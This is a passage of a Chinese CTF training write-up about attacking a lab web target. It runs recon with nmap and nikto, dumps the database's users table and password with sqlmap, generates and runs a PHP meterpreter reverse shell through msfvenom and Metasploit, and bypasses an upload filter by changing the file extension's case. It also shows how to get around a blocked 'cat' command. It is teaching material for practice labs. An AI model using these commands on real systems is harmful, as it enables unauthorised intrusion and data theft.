这时候发现,已经取得了对应的shell,接下来我们在登陆之后需要继续操作来获取对应的flag值
在这里插入图片描述
我们发现,cat命令被屏蔽了,所以使用more代替他

总结

  1. 注意未知服务的端口,可以使用nc获取对应的banner信息;

  2. 使用对应相近的shell命令来绕过限制;如 cat more

  3. 对每一个服务都需要进行对应的探测,不放过任何一个可以利用的点

第六章:CTF训练 HTTP服务

web安全SQL注入

SQL注入漏洞介绍

. SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。。
.
 SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

信息探测

nmap -sV 靶场IP地址

nmap -T4 –A -v 靶场IP地址

nikto -host http://靶场IP地址:端口

深入挖掘

分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;

使用浏览器打开 http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;

这边用nikto找到了一个登陆页面,进去看看在这里插入图片描述
在这里插入图片描述
先尝试一下有没有弱口令,账号密码都输入admin,发现并没有在这里插入图片描述

漏洞扫描

web漏洞扫描器 owasp-zap

OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现
Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。

在kali左上角在这里插入图片描述
直接输入ip地址,点attack,等待扫描完成,扫描完成以后会主动跳转到alerts模块下:在这里插入图片描述
在这边可以看到三种颜色的标志,深红色是代表存在高危漏洞,黄色代表中危漏洞,浅黄色代表低危漏洞。在这里插入图片描述

漏洞利用

针对web进行漏洞扫描

对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。

使用sqlmap利用SQL注入漏洞

sqlmap -u url -dbs    查看数据库名
sqlmap -u url -D “数据库名” -tables    查看对应数据库中的数据表
sqlmap -u url -D “数据库名” -T “表名” -columns  查看对应字段
sqlmap -u url -D “数据库名” –T “表名”-C “列名” -dump   查看对应字段的值
也可以直接尝试 sqlmap -u url -os-shell  直接获取shell
  • 1
  • 2
  • 3
  • 4
  • 5

接下来我们来实操一下,先把这个选取部分复制出来:在这里插入图片描述
在终端中输入sqlmap -u “http://10.22.66.167/cat.php?id=3a”,来探测下这个id是否具有sql注入漏洞 在这里插入图片描述
可以看到结果,这个表明是存在sql注入漏洞的:
在这里插入图片描述
并且可以通过布尔类型的注入、报错类型的注入、时间盲注 来注入注入点获取数据。首先来查看下数据名,在终端中键入
sqlmap -u “http://10.22.66.167/cat.php?id=3a” --dbs:
在这里插入图片描述
information_schema是系统自带的数据库,存放数据库的一切信息,这边不需要用到这个,我们用下面的photoblog,拷贝出来,在终端中输入
sqlmap -u “http://10.22.66.167/cat.php?id=3a” -D “photoblog” --tables
查看 photoblog 数据库中的表名在这里插入图片描述
因为我们现在想要登陆后台要获取用户名密码,所以users使我们要获取的用户表,接着在终端输入
sqlmap -u “http://10.22.66.167/cat.php?id=3a” -D “photoblog” -T “users” --columns
获取表内容
在这里插入图片描述
这个时候获取到了表的字段,下面我们来获取一下表里对应的值
在终端中输入:
sqlmap -u “http://10.22.66.167/cat.php?id=3a” -D “photoblog” -T “users” -C “login,password” --dump
在这里插入图片描述
可以看到这边找到了用户名,跟其对应的密码的密文,并且用系统自带的哈希 md5 破解出密文对应的明文为 P4ssw0rd ,我们获取到用户名跟密码之后就要登陆系统,下面我们来登陆:
在这里插入图片描述
这时候已经登陆了系统,接下来需要上传一个shell来反弹权限:

上传shell反弹权限

攻击机启动监听

msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler) > run

生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php
(-f raw表示查看源代码)

在这里插入图片描述
可以看到这时候后台已经生成了php代码,gedit shellcd.php把代码粘贴进去保存
在这里插入图片描述
现在,我们需要生成一个监听端,我们现在打开msfconsole
打开以后我们使用 use exploit/multi/handler
然后set payload php/meterpreter/reverse_tcp
然后查看一下他们需要的参数show opions,设置完之后run执行监听:
在这里插入图片描述
接下来我们需要上传监听,上传监听的时候回遇到很多过滤机制,这时候我们就需要绕过过滤机制。
绕过过滤机制 利用.php 修改为 .PHP
首先我们先上传一个小写的php代码看看:
在这里插入图片描述
这边提示NO PHP!
接下来我们上传大shellcd.PHP
在这里插入图片描述
可以发现,我们现在上传了一个shellcd,咱们上传完之后需要执行才能反弹,我们现在点击他执行。在这里插入图片描述
点击它之后发现,我们之前的监听返回了我们需要的shell
我们现在来查看一下系统信息:sysinfo在这里插入图片描述
可以看到,操作系统的版本和内核版本

获取Flag

一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。

cd /root/
ls
cat flag
Writeup 测试文档 总结文档

如果无法在该权限下查看Flag值就需要提升root权限;

注意本靶场并没有设置对应的Flag值,只是为了掩饰SQL注入漏洞,并通过该漏洞获取对应的shell;

总结

  1. 靶场机器如果存在SQL注入漏洞,可以利用sqlmap进行获取数据;

  2. 获得靶场机器shell之后,可以分析是否需要提权。如果在当前权限下可以得到flag,那么就不需要提权;

  3. SQL注入往往要和上传漏洞配合,上传shell。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/673587
推荐阅读
相关标签
  

闽ICP备14008679号